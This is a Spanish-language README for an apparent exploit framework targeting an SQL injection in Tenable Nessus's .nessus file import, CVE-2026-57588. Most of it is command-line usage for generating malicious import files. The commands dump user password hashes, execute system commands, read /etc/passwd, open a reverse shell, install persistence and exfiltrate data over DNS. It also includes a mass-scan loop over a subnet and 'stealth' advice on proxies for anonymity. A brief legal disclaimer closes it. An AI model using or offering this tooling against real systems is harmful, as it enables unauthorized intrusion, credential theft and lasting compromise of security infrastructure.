🛡️ CVE-2026-57588 - Framework de Explotación de Inyección SQL en Nessus
📋 Tabla de Contenidos
🔍 Descripción General
CVE-2026-57588 es una vulnerabilidad crítica de inyección SQL descubierta en Tenable Nessus versiones 10.12.0 y anteriores. La vulnerabilidad reside en el mecanismo de análisis XML al importar archivos de resultados de escaneo .nessus, lo que permite a usuarios autenticados con privilegios de importación ejecutar consultas SQL arbitrarias contra la base de datos PostgreSQL del backend.
⚠️ Detalles de la Vulnerabilidad
🔬 Detalles Técnicos
La vulnerabilidad existe debido a una sanitización insuficiente de los valores de las etiquetas XML antes de que se incorporen a las consultas SQL durante el proceso de importación. Un actor malicioso puede crear un archivo .nessus que contenga payloads de inyección SQL especialmente diseñados en etiquetas XML como:
hostname
fqdn
os
system-type
mac-address
netbios-name
Cuando un usuario privilegiado importa el archivo malicioso, los valores no sanitizados se ejecutan contra el backend de PostgreSQL, lo que permite:
- Enumeración de la base de datos
- Exfiltración de datos
- Ejecución de comandos
- Acceso al sistema de archivos
- Instalación de persistencia
✨ Características
Haz clic para expandir la lista de características
🎯 Gestión de Payloads
- Más de 13 tipos de payload categorizados por propósito
- Generación de payloads basada en plantillas
- Creación y validación de payloads personalizados
- Validación de parámetros y comprobación de sintaxis
- Verificación de sintaxis SQL
🚀 Capacidades de Explotación
- Explotación multi-etapa con ejecución en paralelo
- Fingerprinting y enumeración de bases de datos
- Exfiltración de datos con selección personalizada de tablas/columnas
- Ejecución de comandos en el sistema objetivo
- Acceso y lectura del sistema de archivos
- Reverse shell con sesión interactiva
- Mecanismos de instalación de persistencia
- Inyección SQL ciega basada en tiempo
- Inyección SQL ciega basada en booleanos
- Inyección SQL basada en errores
- Consultas apiladas (stacked queries) para explotación avanzada
- Exfiltración DNS fuera de banda (out-of-band)
- Informes HTML con estilo profesional
- Informes Markdown para documentación
- Informes JSON para automatización
- Informes de texto para revisión rápida
- Rotación de logs con múltiples niveles
- Estadísticas detalladas de ejecución
- Hash de archivos para verificación de integridad
📦 Instalación
🐍 Requisitos Previos
- Python 3.7 o superior
- pip (gestor de paquetes de Python)
- Git (opcional, para clonar)
🔧 Instalación Rápida
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
🐳 Instalación con Docker
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 Instalación como Paquete
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
🚀 Inicio Rápido
Uso Básico
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
Ayuda de Comandos
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
💡 Ejemplos de Uso
1. Enumeración Básica
python3 exploit.py generate -u https://test.com -p enum
Salida Esperada
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
2. Explotación Avanzada Multi-Etapa
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. Exfiltración de Datos
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. Reverse Shell
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. Ejecución de Comandos
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. Lectura de Archivos
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. Inyección Ciega Basada en Tiempo
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. Con Soporte de Proxy
# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. Ejecución en Paralelo
# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. Modos Verboso y Silencioso
# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 Tipos de Payload
Categoría: FINGERPRINTING
| Payload | Descripción | Parámetros |
|---|
fingerprint | Fingerprinting de la base de datos | Ninguno |
Categoría: UNION
| Payload | Descripción | Parámetros |
|---|
schema_dump | Volcar el esquema de la base de datos | Ninguno |
data_exfil | Extraer datos de tablas | table, columns |
Categoría: TIMING
| Payload | Descripción | Parámetros |
|---|
time_based | Inyección ciega basada en tiempo | delay |
boolean_blind | Ciega basada en booleanos | condition, |
Categoría: FILE_ACCESS
| Payload | Descripción | Parámetros |
|---|
file_read | Leer archivos del sistema | path, offset, length |
Categoría: COMMAND_EXEC
| Payload | Descripción | Parámetros |
|---|
command_exec | Ejecutar comandos del sistema | command |
Categoría: REVERSE_SHELL
| Payload | Descripción | Parámetros |
|---|
reverse_shell | Establecer reverse shell | host, port |
Categoría: PERSISTENCE
| Payload | Descripción | Parámetros |
|---|
persistence | Instalar persistencia | Ninguno |
Categoría: ERROR_BASED
| Payload | Descripción | Parámetros |
|---|
error_based | Inyección basada en errores | query |
Categoría: STACKED
| Payload | Descripción | Parámetros |
|---|
stacked_queries | Consultas apiladas | query |
Categoría: OUT_OF_BAND
| Payload | Descripción | Parámetros |
|---|
oob_dns | Exfiltración DNS | host, data |
🎯 Escenarios Avanzados
Escenario 1: Flujo de Trabajo de Compromiso Completo
# Step 1: Enumerate the database
python3 exploit.py generate -u https://test.com -p enum -v
# Step 2: Extract sensitive data
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Step 3: Establish persistence
python3 exploit.py generate -u https://test.com -p persist
# Step 4: Set up reverse shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444
Escenario 2: Operaciones Sigilosas
# Using proxy and quiet mode
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
Escenario 3: Pipeline de Pruebas Automatizadas
#!/bin/bash
# auto_exploit.sh - Automated exploitation script
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# Run all payloads
for payload in enum dump shell persist; do
echo "[*] Running payload: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# Generate comprehensive report
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
Escenario 4: Evaluación de Seguridad Empresarial
# Network-wide assessment
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] Testing: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
Escenario 5: Recopilación de Evidencias
# Collect comprehensive evidence
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
# Generate all report formats
python3 exploit.py report -i results.json -o report
# Generate HTML report only
python3 exploit.py report -i results.json -o report.html --format html
# Generate Markdown report
python3 exploit.py report -i results.json -o report.md --format markdown
- Información del objetivo
- ID de sesión y tipo de payload
- Estadísticas de ejecución
- Lista de archivos generados
- Hashes de archivos para integridad
- Registros de errores (si los hay)
- Avisos legales y advertencias
🔧 Solución de Problemas
Problemas Comunes y Soluciones
Problema 1: Errores de Conexión
# Error: Connection refused
# Solution: Check if Nessus is running and port is accessible
python3 exploit.py generate -u https://test.com:8834 -p enum
# Error: SSL certificate verification failed
# Solution: Disable SSL verification
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
Problema 2: Errores de Validación XML
# Error: Invalid XML structure
# Solution: Disable XML validation
python3 exploit.py generate -u https://test.com -p enum --no-validate
Problema 3: Errores de Payload
# Error: Missing required parameter
# Solution: Check payload requirements
python3 exploit.py validate -p command_exec
# Then provide required parameters
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
Problema 4: Permiso Denegado
# Error: Cannot write files
# Solution: Check directory permissions
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
Problema 5: Problemas de Timeout
# Error: Operation timed out
# Solution: Increase timeout
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# Or use retries
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 Consideraciones de Seguridad
⚠️ Advertencias Importantes
- Cumplimiento Legal: Utilice únicamente en sistemas que le pertenezcan o para los que tenga permiso explícito por escrito para realizar pruebas
- Protección de Datos: Maneje las credenciales y los datos extraídos con extremo cuidado
- Entorno Aislado: Pruebe siempre en entornos de laboratorio aislados
- Copias de Seguridad: Realice siempre copias de seguridad de las bases de datos antes de probar
- Restauración: Restaure los sistemas a su estado original después de las pruebas
- Documentación: Documente todas las actividades de prueba para el cumplimiento normativo
✅ Buenas Prácticas
- Utilice cuentas de prueba dedicadas
- Mantenga registros detallados de todas las acciones
- Utilice VPN/proxy para mantener el anonimato al probar sistemas de terceros
- Siga las pautas de divulgación responsable
- Eduque a su equipo sobre la vulnerabilidad
📝 Licencia
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para obtener más detalles.
🤝 Contribuciones
¡Las contribuciones son bienvenidas! No dude en enviar un Pull Request.
Configuración de Desarrollo
# Clone repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
pytest
# Format code
black exploit.py
# Check linting
flake8 exploit.py
📞 Soporte
Documentación
📄 Registro de Cambios
Versión 1.0.0 (2026-07-22)
Versión Inicial
- ✅ Framework de explotación integral
- ✅ 13 tipos de payload categorizados por propósito
- ✅ Explotación multi-etapa con ejecución en paralelo
- ✅ Validación XML y comprobación de esquemas
- ✅ Múltiples formatos de informe (HTML, Markdown, JSON, Texto)
- ✅ Hash automático de archivos y verificación de integridad
- ✅ Registro profesional con rotación
- ✅ Soporte de proxy para operaciones sigilosas
- ✅ Reverse shell con sesión interactiva
- ✅ Mecanismos de persistencia
- ✅ Ejecución de comandos y lectura de archivos
- ✅ Inyección ciega basada en tiempo y en booleanos
- ✅ Inyección basada en errores y consultas apiladas
- ✅ Exfiltración DNS fuera de banda (out-of-band)
- ✅ Soporte de Docker
- ✅ Compatibilidad multiplataforma
⬆ Volver Arriba
⚠️ AVISO LEGAL: Esta herramienta es SOLO para pruebas de seguridad EDUCATIVAS y AUTORIZADAS. El uso no autorizado es ILEGAL. El autor no asume NINGUNA RESPONSABILIDAD por el mal uso.